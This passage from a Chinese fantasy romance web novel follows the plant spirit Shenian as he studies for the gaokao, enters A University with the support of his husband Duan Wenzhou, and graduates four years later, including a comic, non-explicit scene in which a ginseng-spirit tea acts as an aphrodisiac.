“是宣传片,你怎么在这,也有拍摄吗?” 佘念嘿嘿笑着黏了上来。 “不是,我来上课。” 说着,阮晨晃了晃手中拿着的书。 今天的他和平常风格大相径庭,拎着一个帆布包,穿着休闲风衣物和帆布鞋,还戴着一副黑框眼镜, 和佘念身上的打扮一对比,不知道的还以为两人是同学呢。 上课?上什么课? 大概是看出了佘念脸上的疑惑,他没忍住笑了笑,对人解释道: “我在这里上大学啊,当然要来上课。” 原来,阮晨是就读于A大的大二学生,虽然说他走的一直是模特的道路,但为了顺应家人的期待,成绩一向不错的他在高考时没有选择艺术类学院,而是报考了这所综合性大学。 平常除了跑通告外,他都会按时回校完成学业。 得知这事,佘念微微瞪大了眼,没想到自己的好友看上去像个艺术生,实际上居然是个大学霸。 “要不要带你去学校里参观一下?” 见离上课时间还早,而且也结束了工作,阮晨主动提出带人逛逛。 闻言,好奇的佘念忙不迭点头应下。 A大是开放式校园,校区范围很大,风景也极其好看,甚至南校区里还有5A级景区。 看着各式风格不一的教学楼,望着其中来去匆匆的学生,佘念情不自禁地感慨出声。 恰好两人来到了阮晨上课的那座教学楼,想到等会的课是辅修课程,专业性并不强,而且还是大课,他便邀请人去教室旁听。 面对这一提议,化身好奇宝宝的佘念自然是满口答应,一块来到了教室。 偌大的阶梯教室中,此时已经有不少学生提前入座,两人在后排找了一处位置坐下,阮晨还贴心地分给了佘念本子和笔。 往那一坐,佘念都有些恍惚,以为自己真的就是这堂课的学生了。 看着老师在讲台上授课,生动有趣的知识被源源不断传授,伴随着窗外树枝摇曳轻缓的声响,虽然并非本专业学生,但他还是听入了迷。 甚至下课时都还有些念念不舍。 等下课后时间已经到了十二点,阮晨便索性又带人去了食堂。 这是一种从未有过的用餐体验,佘念端着餐盘在窗口打饭,即使菜品远不如曾经吃过的米其林餐厅大厨水平,但依然吃得津津有味,看什么都觉得新鲜。 “佘念,你有没有考虑过,重新考大学?” 吃饭的间隙,阮晨犹豫片刻后,试探着开口询问。 第102章 关于佘念结婚之前的事, 阮晨是略有所闻的。 他也知道曾经佘念在佘家经历过什么,直到去到段闻洲身边后,日子才算幸福了很多, 被人养得很好。 所以他刚刚带着佘念参观校园, 其实也是因为知道佘念从未上过大学, 所以想着借机让人体验一番大学生活。 看出佘念脸上的向往后,他便试探着开口建议, 询问人是否想重新回校园。 “考,大学吗?” 闻言, 佘念喃喃着重复这句话,有些出神。 “嗯, 我觉得你愿意的话, 是可以做到的。” 阮晨说道, 但点到为止, 并没有过多的劝说,怕他万一不愿意的话会令其为难。 “如果你想的话,我觉得你可以考虑一下, 或者拿不下主意的话, 回去问问你家段闻洲的意见也行。” “好……” 听完阮晨的提议后,佘念若有所思。 实话实说的话, 其实他是有些心动的, 因为从刚才的参观中他发现,自己是很喜欢校园生活的。 这种大学校园的体验,令他感到很愉悦。 但是他同时又有些犹豫, 不知道这么做是否合适。 因为按照人类的年纪来说,现在的自己已经二十二岁,超过常规上大学的年龄了。 而且去读书的话, 眼下的生活便会发生变化,也不知是否能接受这种改变。 思索半天,佘念都拿不下主意,和阮晨道别离开学校后,他便打算直接去公司找段闻洲商量一番。 不过,他心底其实是更希望老公能同意的,所以在去找人之前,他决定略施小计,献一下殷勤。 于是,佘念先回了趟家,翻箱倒柜找东西准备化身贴心小棉袄时,意外翻到了人参精留下的那截根须。 ——当初将人参精兄弟放生后,为表感谢和留念,它特意送了佘念一节根须,说是能补身体,具有很强的养生功效。 虽然说具体有多养生,有多大补,佘念也不太清楚。 但是他知道,这肯定是个好东西。 好东西就要拿给老公分享!这样才能更好地献殷勤嘿嘿。 想到这,佘念便忙不迭地拿人参泡了水,装进保温杯里,然后兴冲冲地去了集团大楼找人。 “老公——” 依然是未见其人先闻其声,段闻洲无需抬头就知道是谁来了。 “忙完工作了?” 他勾了勾唇,笑看向人。 “嗯!我来看看你。” 说着,佘念哒哒哒跑进办公室,邀功似的晃了晃手中的保温杯。 “我回家给你泡了点茶,提神醒脑补身体的。” 他黏上前来凑到桌边,谄媚地笑着,拿过瓷杯给人倒了满满一大杯。 瞧见小朋友这幅殷勤的表情,段闻洲挑了挑眉,不用问就能猜到他肯定是有什么事要同自己说。 上一次小朋友给自己泡茶时,掰的还是价值六位数的茶饼,并且一口气嚯嚯了大半块。 这次不知道又折腾了柜子里的哪包茶叶。 “是有什么话想同我说吗?” 段闻洲开口问道。 “你怎么能这么想我呢!我就不能单纯来关心一下自己还没下班的老公吗!” 被戳穿心事的佘念喉间一哽,佯装生气地嘴硬反驳。 正所谓谁先甩锅,谁就有理。 “当然,完全可以。” 看着炸毛的小朋友,段闻洲忍俊不禁,觉得怪可爱的,但是又不敢明面上表现出来,连忙憋笑给人顺毛。 他低头看下手边的茶杯,只见杯子里的茶水颜色偏淡,不似刚跑出来的第一道茶那么深,也不像第三道茶那么签。 更像是微黄的药酒之类的。 不知怎的,段闻洲心里隐约有一种不详的预感。 但他转念一想,一杯茶而已,能有什么问题,最多也就口感不好而已,可不能因此辜负了小朋友的心意。 于是他低头抿了一口。 茶水进入口腔的瞬间,一丝苦意在舌尖蔓延,令他不由得皱了皱眉。 偏偏佘念还趴在桌边,满眼期待地望来: “好喝吗?” “……还可以。” 闻言,段闻洲硬着头皮答道,长痛不如短痛,索性一口闷了那杯诡异的茶。 ——就像是小朋友难得下厨一样,就算煮出了一锅炭,那也得给面子地吃掉。 “要再来一杯吗?” 等人喝完后,佘念见状就要继续给人满上第二杯。 “暂时先不用,我等会再喝。” 段闻洲连忙拦下他,拉着其在沙发上坐下。 “要不你先自己玩一会,我忙完工作就来陪你。” 本来打算试探着开口询问上学的事,但听见人还没处理完工作,佘念便想着还是不要打扰他,还是晚点再提好了。 于是他乖乖地躺在沙发上,燥候人下班。 只不过话虽这么说,但此时的段闻洲似乎并不太能沉下心来工作。 因为,不知为何,他觉得身体里莫名涌现出了一股难耐的躁.热。 无名火起,躁动从下半身窜出,沿着四肢扩散,直冲大脑。 就好像体内有一把火在燃烧似的,滚烫的欲望不停翻涌,像是岩浆一样飘散着无尽的热量。 怎么回事?突然间这么热…… 而且身体也出现了不该有的反应…… 居然在工作场所如此失态,段闻洲咬着下唇,努力使自己冷静下来。 他的额间已尽是细密汗珠,不动声色地扯了扯衣摆,遮挡住某些不可言说的变化。 难道是那杯茶? 心底忽然间有了猜测,段闻洲一怔,猛地偏头看去。 好热,佘念在茶里加了什么? “佘念。” 他哑声开口,叫来了某个还在状况外的小朋友。 “怎么啦?” 突然被叫了大名,佘念起身,眨巴着眼跑过来,还不知道问题的严重性。 “这杯茶,到底是什么?” 几乎快要被欲.望冲昏头脑,段闻洲费了好大劲才维持住清醒,从嘴角间挤出声音,严肃地询问。 大概是意识到了语气的严厉,也察觉到了人脸色的不对劲,佘念愣了愣,随即低下头,老实巴交地全部坦白了。 “这……这个,其实是人参泡的水。” 他翻搅着手指,小声地交代。 “人参?就是你放生的那颗吗?” 自从明白佘念是妖精后,段闻洲也知道了当初“救下”的那颗人参其实也是妖精。 “嗯呐……” 佘念心虚地应了。 “那棵人参有多少年了?” “可能……大概,几百年,吧……” 闻言,段闻洲两眼一黑,险些直接晕过去。 要知道,百年甚至几十年的野人参就已经是大补之物了,更别说这几百年,还成了精的人参了。 这不得补出鼻血来。 不,可能要补到气血上涌。 终于明白体内这股燥.热是从何而来,段闻洲深吸一口气,额间隐隐作痛,努力让自己镇定下来。 紧接着,他呼出一口长气,像是下了决定,然后从椅子上站起身。 背光而立,男人高大的身躯投下影子,将对面的佘念整个笼罩住。 感受着铺面而来的压迫感,佘念下意识地缩了缩脖子。 起身的段闻洲步步逼近,佘念也就不得不节节后退。 一进一退,就这么来到了办公室门口,直到后背抵在了门板,再无处可逃。 高大的男人抬起手,撑在了门上,就这么把人困在了跟前的怀抱里。 紧接着,咔哒的轻响传来。 ——是段闻洲把门锁上了。 听见门上锁的声音,佘念下意识抖了抖身子,一股危机感涌上心头。 “老、老公,怎么了?” 他咽了咽口水,睁着一双湿漉漉的眼睛看向人,放闪卖萌,企图萌混过关。 “你说呢?” 而段闻洲眯眼笑着,温声反问。 明明脸上挂着笑容,可这幅表情却总让人浑身一颤,觉得要大难临头了。 “小朋友,你点的火,恐怕得你自己来灭。” 话音刚落,佘念只觉眼前陡然天旋地转,视线里的画面忽然颠倒。 ——是段闻洲将他扛在了肩头。 迈开的脚步略带急促,他大步带人向着内间走去。 随着房门的合上,一切呜.咽声和求饶声都被关在了狭小的内间中,只有些许微不可察的细碎声音溢了出来。 被翻来覆去时,佘念委屈巴巴地心想,可能这就是常说的自作孽不可活。 明明只是想好心给老公泡茶,怎么还把自己折腾上床了呢? 他睁着一双不甚清醒的眼睛,用混沌的大脑勉强思考起来: 怎么总觉得,自己被人参精给坑了呢? 它当时也没说过,根须能有这方面的功效啊? 这事日后还能找人参精兄弟算账吗quq ———— 据段氏集团内部八卦透露,当天下午顶楼的总裁办公室,自从小念夫人来了以后,大门就再也没打开过。 段总还特意跟特助交代过,今下午不接见任何来客,有需要签字的文件也一并放在秘书处,日后再阅。 换句话说,就是拒绝一切访客。 另外,根据目击者透露,还未到下班点段总便乘坐专用电梯去了地下停车场,并且怀里打横抱着某人。 啧啧,抱的是谁,还有今下午办公室里发生了什么,都好难猜啊。 众人心照不宣,露出姨母笑。 ———— 迷迷糊糊间,佘念感觉到自己被人打横抱起,坐上了电梯,然后又被放到了车的副驾驶座上。 “回家吗?” 他揉了揉惺忪的眼睛,用近乎沙哑的声音问道。 ——没办法,在刚刚激烈的过程中,别说嗓子哑了,连腰都快□□.废了。 “嗯,还有没有哪里不舒服?” 段闻洲摸了摸人的脸颊,关切地问。 ——没办法,在刚刚那种状态下,自己实在做不到温柔,大概把人折腾惨了。 毕竟是自己惹的火来,这下佘念连小发雷霆都不敢了,连忙摇了摇头。 就在车辆即将启动时,他回想起来,自己最开始想跟人说的话。 此时已经再顾不上什么委婉试探了,我们被弄得蔫头耷脑的小蛇舌草选择了打直球。 他靠在座位上,将脑袋歪向段闻洲的方向,小声问道: “老公,如果我跟你说,我想去上学呢?” 第103章 上学? 小学, 高中,还是大学? 现在上小学的话会不会有点太晚了,但是扫盲似乎确实该从小抓起。 家里的这位小蛇舌草宝宝, 严格来说是个文盲, 九年义务教育漏网之鱼, 一点学历都没有的那种。 所以听到人说想要上学的话时,段闻洲一时间有些恍惚。 “我想上大学!就是A大, 或者别的学校也可以,总之就是想读书啦。” 佘念同人说了今天被阮晨带着参观大学校园的经历, 脸上满是向往,一双眼睛亮晶晶的, 闪烁着光芒。 A大么?校区倒是离家不远, 小朋友就算去那里上学也很方便。 不过, 问题在于, 小朋友他能考得上吗? 虽然这么想有些不太厚道,但却是事实,因为佘念没有接受过系统的教育, A大的分数线门槛也不低。 怎么看难度都有些大。 但是对视上人期待的目光时, 段闻洲什么劝阻的话都说不出来了。 虽然很难,但是话又说回来, 不就想上个大学吗, 又不是什么解决不了的大事。 即使考不上,也能有诸如出国留学啊,或者捐栋楼之类的办法。 再者说了, 万一自家的小蛇舌草其实是天才宝宝,一点就通,一学就会呢? 之前自己就想过, 要给人完整的生活,从前没有经历过的事都想让他体验一番,所以才会帮助他融入社会、学会社交,还有成为模特进行工作。 怎么恰好就把读书上学这件事给忘了呢。 毕竟,上学这件事应当也是每个人生中都会经历的阶段。 既然佘念想,那就放手让他尝试好了,反正自己会给他托底的。 想到这,段闻洲弯了弯眼睛,柔声回答: “好,你想的话,我们就试试。” “真的吗?” 得到人的支持,佘念肉眼可见地开心起来,一双眼睛睁得圆圆的,眸光比方才还要亮晶晶。 只不过高兴没多久,他又面露难色: “不过,读书的话我好像就不能当模特赚钱了,工作怎么办呀?” “没关系,我有钱。” “而且备考期间你可以先暂停工作,如果你喜欢的话,我们可以等考上了再一边上学一边跑通告,就像阮晨那样。” 事后,段闻洲让经纪人和公司协商了一番备考的事。 作为老板的祁宁,在得知佘念要考大学时第一个表示强烈支持。 他说,公司一向鼓励艺人积极进修提升自己,让佘念好好备考就行,行程和经纪约的安排交给他来处理。 而段家的长辈在得知佘念这一想法后,同样也表示大力支持,觉得这是件好事,让他不要紧张,放轻松准备就行。 甚至段父还翻找着通讯录,打算联系一下A大的校长。 ——不过这事很快就被段闻洲拦下了,好意心领了,但还是先不要这么做。 因为小朋友说过,想靠自己的努力试试能不能考上,并不愿走后门。 对此,段家的三位长辈欣慰极了,心底的想法和段闻洲不谋而合。 ——孩子能努力考上最好了,考不上的话我们就给A大捐栋楼,不够的话就再加座图书馆,怎么着也要让佘念能读上书。 不过关于众人设想的这些后路,佘念本人倒是全然不知,自从下定决心后,便投入到了紧张刺激的复习中。 距离高考还有好几个月,得争分夺秒才行。 为此,段闻洲特意请来了极有名气的私人教师,一对一辅导佘念备考。 作为从山上下来的小蛇舌草,佘念从来没有接受过系统的义务教育,但好在刚结婚时段闻为了给人“扫盲”,让他学了不少知识,这才使他在打基础阶段没有那么举步维艰。 只不过没有跟随老师在学校课堂里系统学习过,缺乏应试经验,在知识储备方面还是有空缺,要下很大的功夫补习。 因而现在他的每天都排得满满当当,逐一在家补习所有要考试的科目。 上语文课时,佘念一脸认真; 上英语课时,佘念满脸茫然; 上文综课时,佘念求知若渴; 上数学课时,佘念的天塌了。 考之前也没人跟自己说过,要学数学这么难的东西啊quq 这是人……啊不这是草能看懂的东西吗,怎么看上去像是天书啊。 每天当日份的数学课后,佘念都觉得自己的脑袋已经一团浆糊了,眼睛晕乎得跟蚊香圈一样打转,险些走路都要摔倒。 为了测试一下佘念现有的水平,昨天几科家教老师们商议了一下,给人安排了一场摸底考。 结果第一次模拟实战,佘念完全不能适应这种短时间内高强度完成试卷的要求,不是没写完,就是急得想不起怎么写。 最后卷子上一大片空白,喜提总分360。 几位老师:……上课时,孩子好像也不是这水平啊? 大家你看看我,我看看你,一时间谁也没敢吱声。 徒留小蛇舌草拿着成绩单独自郁闷。 “怎么了?” 看着小朋友神游天外的样子,段闻洲贴心地给人倒了一杯热饮料,让人补补脑。 而佘念没有回答,只是委屈巴巴地抬眼望来,嘴巴撅成了一个倒三角。 这幅可怜兮兮的样子看得人心都化了,段闻洲弯了弯眼睛,没忍住抬手揉了揉他的脑袋。 “唔……老公,我笨笨的,学的很慢,考试也考不好,这样的我你还会喜欢吗?” 他扁了扁嘴,眼中充盈着水光,眸光闪烁着,仿佛湖面上悦动的光影,委屈得紧,看上去可怜极了。 虽然是在询问,但他的视线里却明晃晃地传达着期: 你快说啊!快说笨笨的小蛇舌草也很可爱! 快说就算我笨笨的你也喜欢!QAQ 这眼神中的意思太过直白,就算段闻洲想忽视也做不到,他不由得噗嗤一笑,回答道: “喜欢的,不管你是什么样,我都喜欢你。” “这只是第一次模拟,不代表你以后的全部,放轻松,尽力而为就好,以后我们还有很多次机会可以提分。” “真的吗?” 听到了满意的答复,佘念稍稍恢复了几分活力,顺势靠倒在人的身上。 “当然,不管考多少分,都有学上的。” 自己都会替人想办法的,不过眼下首先要想办法的,还得是提高小朋友的成绩。 说着,段闻洲俯下身来,看了看今模拟考卷子的试题,了解了小朋友的错题和薄弱点以后,他在人身旁坐下,拿过纸笔。 ——其实薄弱点也不算太多,小朋友并不笨,写出来了的题目基本上都对了,只是很多题来不及写而已。 瞧见老公的动作,佘念歪了歪头。 “有时候需要换一下思路,你看这里——” 一边说,段闻洲一边在草稿纸上验算起来,给人讲解着数学题目。 没想到,上课时老师怎么讲也听不明白的题目,在人新思路的引领下,佘念发现原先一头雾水的题目豁然开朗,瞬间明白了该如何解题。 “听懂了吗?” “懂了!” 于是段闻洲趁热打铁,一题一题地领着人捋清解题思路。 “老公,你好厉害,我都学会了。” 听人讲解完题目后,佘念诧异不已,没想到自己真的学会了这么难的数学题。 原来自己也是天才诶! 当然,老公也是天才老师! “那我以后有不会的题目还能找你吗?” 捧着试卷,他眼巴巴地问道。 “当然,不过我可能只能在晚上给你讲题。” 因为白天大部分时候都要忙工作,不能接替私人授课老师的位置,不然段闻洲真想亲自来给小朋友讲课了。 就这么,佘念开启了白天听老师讲课,晚上拜托老公查漏补缺的生活。 而我们的段总,也进行着白天处理公务,晚上辅助佘念复习的日子。 不得不说,活了几百年的小蛇舌草精的脑袋就是好使,虽然一开始跟不上学习课程,但后来慢慢的已经能完全适应了。 甚至偶尔还会使用法术和自愈能力偷偷作弊,学习效率有了极大的提升,比普通人高出好几倍。 相应的,学习成绩也有了稳步提升。 上一次模拟考的屈辱成绩,在小蛇舌草的努力下成功洗刷。 虽然距离A大的线还有一定距离,但好在离目标越来越近了。 这段时间为了犒劳佘念辛苦复习,段父和段老爷子不停地往家中送着补品和各类用品,而段母则时不时送来亲手煲的汤,让人补补身体。 在众人的照顾下,佘念又胖了好几斤。 据段闻洲所说,小肚子和大腿捏起来手感都更好了。 时间过得很快,转眼就到了高考的日子。 这天段家全家上阵,齐齐给佘念送考。 “别紧张宝贝,正常发挥就好,考出什么样我们都会为你高兴的。” 于秋柳不停给人检查着考试用品,耐心叮嘱道。 ——想当年段闻洲高考时,冷静得仿佛不是他本人要考试一样,一点都不给自己加油打气的机会,这下轮到佘念了,终于能好好鼓励人一番了。 “好的妈妈,我知道啦。” 佘念乖巧地道。 “对,放轻松,别想那么多,写完就好。” 段老爷子和段父也给人打气。 “加油。” 段闻洲也摸了摸人的头 ,鼓励道。 甚至还掏出了早先给人从庙里求来的红绳,系在人手腕上。 “可以保佑考试的。” 他说道。 虽然看上去只是根外表普通的红绳手腕,但佘念怎么看怎么喜欢,爱惜得不得了。 “那我进去啦——” 眼见快到考试开始的时间了,佘念不停对大家挥舞着手臂,然后才随着大部队一块向内走去。 在家人温暖的视线中,他迈入了考场。 考试的两天转瞬即逝,对于发挥如何,大家很有默契地没有询问,只是说佘念这段时间辛苦了,一定要好好休息补一补。 在半个月后,终于,成绩出来了。 【全文完结】 第104章 对于这个分数, 佘念本人倒觉得不失望,知道这已经是自己超常发挥的水平了。 毕竟想要一口气吃成个胖子,和电视里演的那样奋斗百天我要上北大清华, 也太假太不实际了。 虽然说分数达不到A大往年的录取分数线, 但对于这段时间的努力来说, 也算是一个不错的成果了。 段家的众人对此是满意得不得了,夸了又夸, 积极地替佘念查看着能报哪些学校。 抱着随缘的态度,佘念还是把A大填上了第一志愿, 也没抱太大希望。 以至于后面看见录取通知书时,他整个人都有点懵。 诶, 怎么是A大的录取通知书呢? 寄错了吗? 他怔怔地拆开了邮件, 发现还真没寄错, 上面就写着自己的名字。 ——原来, 由于往年A大的分数线都太高,今年考生报考的意愿很低,为了求稳志愿都不敢填报, 以至于录取分数线突然暴跌。 倒是成功让我们的小蛇舌草捡了漏。 事后得知此事, 家人们皆大欢喜,连连感慨自家佘念真是幸运儿, 聪明伶俐还运气好。 段闻洲也不由得回想起刚结婚那时, 小朋友能给自己带来好运。 就像是自带幸运buff一样。 不得不说,小朋友真是个可爱的福星。 知晓佘念被A大录取,乐不可支的段父甚至都想好好庆祝一番, 如果不是段闻洲拦着,差点要摆几桌庆祝一下了。 祁宁几人纷纷祝贺,阮晨也在微信上发来贺电, 开玩笑地称呼他现在是自己的学弟了。 结果如愿以偿,没有辜负这段时间的努力,到了开学那日,佘念乐呵呵地去办理入学登记。 “佘念,别跑那么快——” 见状,主动给人担任搬运工的段闻洲在他身后喊道,任劳任怨地正在把住宿用品往车下搬。 虽然A大离家并不远,但考虑到日后课程的安排,可能会有在学校午休的需要,因此还是决定替佘念布置一下宿舍,以便随时来休息。 学校的宿舍是四人寝,其他三位舍友已经早一步抵达,眼下正在整理床褥。 见新舍友抵达,几人齐齐回头看来,本想上前打招呼,但瞧见佘念后方跟着的男人器宇不凡,气质不一般,一时间有些被吓到,畏手畏脚,不敢上前。 “你们好呀,我是佘念,住在1床。” 而不知觉的佘念则主动上前对几人打着招呼。 见他如此亲和,其他的舍友没那么紧张了,纷纷自我介绍起来。 三人分别叫宋明、赵承和孙悦文,和佘念一样都是大一新生。 在听见佘念比大家大四岁时,他们除了最开始稍显惊讶外,就没有其他的反应了,显然对此接受良好,没有偏见。 几人顿时相谈甚欢,一见如故。 在几人聊天的间隙,段闻洲已经默默替佘念铺好了床褥,并顺手打扫了一番宿舍地面。 “诶您……您是佘念的哥哥吧,不用帮忙打扫的,我们自己来就好。” 见状,宋明连忙阻止。 “没关系,顺手的事。” 听到人说自己是佘念的哥哥,知道他是误以为两人是兄弟关系,段闻洲顿了顿,没有出声解释。 反而佘念先一步开口。 只见他上前抱住了段闻洲的胳膊,软声对大家解释道: “不是的,他是我老公,不是我哥哥。” 说完,还晃了晃两人手中的对戒。 “啊……?” 闻言,这下三人皆震惊了,目瞪口呆,你看看我我看看你,真不知该如何应对了。 ——倒不是觉得有什么不妥,只是单纯觉得很意外,没想到佘念居然这么早就结婚了。 见状,段闻洲无奈地叹了口气,早预料到会是这幅场景,转移了话题: “请问中午你们有安排吗?有时间的话,我请你们吃个饭吧。” “那、那怎么好意思。” 几人连忙推拒道。 “别客气,以后可能还要拜托大家多照顾一下佘念,这顿饭算是我的一点心意。” “只是一顿饭而已啦,去嘛去嘛。” 最终在佘念的劝说下,三位舍友同意了,但在来到市中心最顶级的那家米其林餐厅时,几人还是再度震惊了。 虽然落座后有些束手束脚,但好在佘念和段闻洲都很随和,用餐过程中三人渐渐地也放松下来,一顿饭吃得很愉快。 “那明天上课见噢佘念。” “好,拜拜,明天见呀。” 饭后,送舍友们到了宿舍楼下后,佘念兴奋地和新朋友们道别。 ——除了偶尔在宿舍午休外,他基本都会回家住的。 在开车回家的路上,佘念注意到段闻洲似乎神情有些严肃,一直拧着眉头。 “老公,你怎么了?” 他偏头看过去,疑惑地问道。 “佘念,其实你可以,不用告诉大家我们真正的关系的。” 对上人的视线,段闻洲露出一个无奈又宠溺的笑。 “为什么?可是我们就是已经结婚了啊?” 小蛇舌草不解。 “你不是我哥哥,你就是我老公。” 瞧见他如此单纯真挚的表情,段闻洲哽了哽,一时间也不知该如何解释。 主要是段闻洲觉得,佘念还这么年轻,大学校园里也都是年轻人,如果他直接坦白这么早就已婚,还是同一个大自己七岁的人结婚,总归容易有部分人说闲话的,对他不太好。 所以一开始,他才想以佘念哥哥的身份出现在舍友们面前的。 但他没料想,小朋友会如此直白地坦言自己的身份。 “因为我怕会有人先入为主,背地里说一些闲话。” “没关系的,我不在乎。” 没想到佘念却摇了摇头。 “别人怎么说我都无所谓,因为我喜欢的就是你,和你结婚的也就是我,不管别人说什么都不会影响我们的关系呀。” “再说了,你看我的新舍友们,我觉得他们接受度也挺良好的。” 对比起佘念的坦然,相比之下倒是段闻洲更胆小了。 既然小朋友本人都不在乎,那自己也不必如此矫枉过正了。 喜欢就是喜欢,爱就要大大方方地展露出来,说出口来,不能再和之前一样犹豫不决。 能够遇上佘念,是自己这辈子最幸运的事情。 这件事,理应让全世界都知道。 “嗯。” 想到这,段闻洲豁然开朗,锋利的眉眼柔和几分,嘴角情不自禁上扬。 在等红绿灯的间隙,他抬手覆住佘念的手背,将人的手牢牢握在手心,与其十指相扣。 无名指处一大一小的两枚戒指交相辉映,在日照下映射出的光芒,比太阳还要璀璨。 ———— 在上学的期间,佘念格外忙碌,可以说是三点一线。 家,学校,拍摄现场来回奔波。 在学校里能见到舍友和阮晨,除此之外也认识了很多新朋友,每天在学校上完课和参加完社团活动后,如果有通告的话,佘念就会抽空赶去完成工作。 在忙碌完学习和工作以后,剩下的时间就是段闻洲的了。 去公司,或者回家找人,然后黏黏糊糊地渡过愉快的二人世界。 毕竟再忙,也不能忽略亲爱的老公呀。 渐渐地,在A大校园里,所有人都知道,一年级新生中有一个特别白净漂亮的学弟,据说还是知名模特。 只不过并没有追求者敢对其出手。 因为大家也都知晓,漂亮学弟不仅已婚,结婚对象也还是位有钱有颜的大佬。 甚至后来有人曾扒出,学弟的对象其实是段氏集团的掌权人段闻洲,名副其实的商业霸总。 两人可以说是天生一对,般配极了,没有谁会不自量力。 ———— 四年后,课堂上。 “宋明,能拜托你等会帮我把课本拿回宿舍吗?求求你啦。” 临下课前,佘念压低声音,悄咪咪地问身边的人。 “又要回家去找你老公?” 闻言,宋明挑眉笑道,明知故问。 “嗯呐,拜托啦,回来以后给你们带好吃的。” “那我要吃你上次烤的小蛋糕。” “好说好说。” 听见两人的对话,赵承和孙悦文也纷纷探头朝这个看来: “我想吃上次那个蛋挞!” “我要吃之前你老公做的虾球!” 听见这一连串的报菜名,佘念忍俊不禁,都一一答应下来。 下课铃一响,老师刚宣布完下课,佘念便立刻挎包站起身来,要往教室外跑去。 “佘念,别忘了下礼拜的毕业典礼——” 忽然想起这是最后一节课,接下来几天佘念应该都不会来学校了,宋明连忙提醒人道。 “知道啦——” 佘念一边头也不回地回答,一边快步跑出了教室。 一出教学楼,视线瞥向停车场的方向,果不其然瞧见了某等候多时的车辆。 那辆属于段闻洲的,熟悉得不能更熟悉的车。 每次佘念下课时,段闻洲有空就会来接人一块回家,每次都停在固定的车位,久而久之佘念都形成了条件反射。 只要看一眼那个方向,便知道老公来了没有。 “下课了?” 听见副驾驶门被打开的声响,段闻洲循声看去,嘴角噙着笑意。 “是呀,我们回家吧。” 佘念咧嘴露出一个灿烂的笑,然后凑到驾驶位,给了人一个绵长的吻。 在回家的路上,佘念忽然想起了下周的毕业典礼的事。 不过典礼在周三,也不知道老公会不会有时间参加呢? 虽然说并没有强制要求家人陪同参加毕业典礼,但不知为何,佘念就是很希望段闻洲能来。 或许是因为,自己能走到今天这步,全靠段闻洲的支持,所以很希望他能见证自己的这一天。 想到这,他试探着开口: “老公,你下周三有没有空呀?” 瞧见人圆溜溜的眼珠子转啊转,就跟有心思的小猫一样,段闻洲立刻明白他是有事要说,佯装思索了一番,故意说道: “现在还不确定,好像那天上午要开股东大会。” “哦,好吧……” 既然要开会,那就肯定有冲突了,自己也不好让人抛下工作来这边,不然反而会令老公为难。 只能算啦。 于是佘念闷闷不乐地嘟嘴,遗憾地靠在座椅上,没有继续往下说。 看着小朋友委屈巴巴的样子,段闻洲哑然失笑。 怎么能连生闷气的样子都这么可爱呢? 他抬手揉了揉人的脑袋,说道: “我知道下周三是你的毕业典礼,别担心,我会腾出时间来参加的。” “真的吗!” 闻言,方才还失落的佘念眼睛倏地瞪大,眸光一亮,像是有星星在其中闪烁。 “当然,我开完会就会立刻赶过去的。” 段闻洲保证。 “那我等你,不许骗我哦!” “我什么时候骗过你?一言为定。” 日子过得很快,转眼便到了下周三,也就是毕业典礼的当天。 毕业的学生们纷纷换上了学士服,戴上了学士帽,乌泱泱的一群,满载着青春与活力,让人下意识联想起了自己美好的时光。 服装衣袍的下摆飞啊飞,仿佛蝴蝶的翅膀在扇动,即将载着他们飞向远方广阔的世界。 “佘念,你老公还没来吗?” 拍完大合照后,宋明走过来问道。 “可能是工作耽误了吧。” 佘念捧着怀里的证书,左顾右盼,不停地寻找着那抹熟悉的身影。 可偏偏人群熙熙攘攘,始终未能捕捉到最爱之人的现身。 “等会就要拍大合照了,你是在这边再等一会,还是现在去那边做准备?” “先去拍合照吧。” 没想到拍完合照,到大家自由活动的时间了,还是没有看见段闻洲的身影。 老公说过,他不会爽约的,肯定是还没忙完工作。 典礼都快要结束了,要不还是发个信息让他别过来好了,不然来回跑怪麻烦的。 小蛇舌草虽然有些失望,但仍贴心地这般替人着想,准备掏出手机给人发消息。 没想到刚打下第一个字,他便听到了那声低沉、富有磁性的嗓音从后方传来: “佘念。” 闻言,佘念手上动作一顿,愣了两秒后,随即猛地转身看去。 此时已是十点左右,太阳正好高悬于蔚蓝的天空之中,只见段闻洲逆光而立,双手捧一束鲜花,正微笑着看过来。 日光照在他身上,照出了他挺拔的身姿,犹如一颗松柏一样屹立于此处,让人顿生安全感和依赖之心。 似乎是担心周围的声音稀释了音量,佘念没听见,他又招了招手,冲人再次喊道: “佘念——我来了。” 看着人挥动的手臂,满腔的喜悦喷薄欲出,佘念一秒都没有犹豫,激动地跑上前。 脚下的步伐逐渐加快,一开始还是小跑,到最后已经是狂奔。 最终向前一跃而起,落入一个温暖用力的怀抱之中。 段闻洲稳稳接住了人,原地抱着人转了一圈。 两人的视线在半空中交汇,相视皆露出一个灿烂的笑。 “抱歉,我来晚了点,开会耽搁了半小时。” 将人放下后,段闻洲歉意地道,并将手中的一大束花递到人跟前。 “毕业快乐,小朋友,祝你未来光辉灿烂,前途似锦明亮。” 接过人送的花,鼻尖嗅着馥郁的花香,佘念情不自禁扬起了嘴角。 ——还记得两人重逢后第一次见面时,也是以一束花开场。 只不过当时收到花的心境,与现在全然不同了。 由曾经的害羞、气愤,到如今的幸福、满足。 而这所有的变化,都是因为遇见了段闻洲,因为有他,自己的生活才发生了翻天覆地的变化。 所有的相遇,其实命运都早已提前埋下了伏笔。 他仰头看向人,眼底的情意几乎快要溢出来。 段闻洲同样低头也看着他,眉目间满含着缱绻情意与温柔。 无声的爱意在两人之间弥漫。 “佘念,我帮你们拍张照吧?” 这时,手拿相机的宋明路过,瞧见两人便主动提议道。 “好啊。” 闻言佘念兴奋地点点头,从人的怀里下来后,凑近几分牵住了段闻洲的手。 两人相视一笑,此刻的画面被相机所定格下来。 当天下午,段闻洲的朋友圈难得地更新了一条私人动态。 这条朋友圈没有配备文案,只是附带上了一张照片。 在照片中,两只手紧牵在一起,透过衣袖明显能看出,左边人的手身着西装,而右边人的手则是穿着学士服。 两只手十指紧紧相扣,无名指处的同款戒指格外显眼。 他们的缘分,正如这牵在一起的手一般,没有任何外力能将彼此分开; 他们的爱情,也恰似钻石一样,山海不改其志,坚不可摧。 未来的路还很长,而他们会彼此相依,相辅相成,一直,一直走下去。 “佘念。” “嗯?” “我爱你。” “我也爱你噢,老公。”